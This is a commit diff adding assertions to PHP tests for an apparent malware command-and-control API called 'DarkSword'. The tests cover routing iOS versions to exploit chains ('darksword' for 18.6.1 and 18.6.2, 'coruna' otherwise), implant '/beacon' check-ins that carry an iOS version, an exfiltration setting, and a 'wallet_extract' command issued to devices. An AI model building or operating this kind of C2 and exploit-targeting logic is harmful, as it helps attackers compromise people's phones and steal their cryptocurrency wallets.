feat: quene
This commit is contained in:
@@ -94,7 +94,8 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
'ok' => true,
|
||||
'chain' => 'darksword',
|
||||
])
|
||||
->assertJsonPath('exfil.prefer_https', false);
|
||||
->assertJsonPath('exfil.prefer_https', false)
|
||||
->assertJsonPath('band.usable_for_attempt', true);
|
||||
|
||||
$this->withHeaders([
|
||||
'X-Forwarded-Host' => 'ocq4rod6pq6warv.icu',
|
||||
@@ -110,6 +111,20 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
->assertOk()
|
||||
->assertSee('ok', false);
|
||||
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.6.1')
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'darksword');
|
||||
$this->getJson('/api/ds/chain-targets?ios=18.6.2')
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'darksword');
|
||||
foreach (['18.4', '18.5.1', '18.6.3', '18.7', '17.3'] as $ios) {
|
||||
$this->getJson('/api/ds/chain-targets?ios='.$ios)
|
||||
->assertOk()
|
||||
->assertJsonPath('chain', 'coruna')
|
||||
->assertJsonPath('recommended_worker', '')
|
||||
->assertJsonPath('band.usable_for_attempt', false);
|
||||
}
|
||||
|
||||
$this->getJson('/api/chain-targets?ios=18.6')->assertNotFound();
|
||||
$this->get('/log.html?text=lab')->assertNotFound();
|
||||
$this->getJson('/next-chain/api/chain-targets')->assertNotFound();
|
||||
@@ -598,6 +613,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$resp = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson([
|
||||
'ok' => true,
|
||||
'type' => $type,
|
||||
@@ -683,6 +699,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$first = $this->postJson('/beacon', [
|
||||
'uuid' => self::DS_LHU,
|
||||
'status' => 'idle',
|
||||
'ios' => '18.6',
|
||||
])->assertOk()->assertJson(['type' => 'wallet_extract']);
|
||||
$firstId = $first->json('command_id');
|
||||
$this->assertNotEmpty($firstId);
|
||||
|
||||
Reference in New Issue
Block a user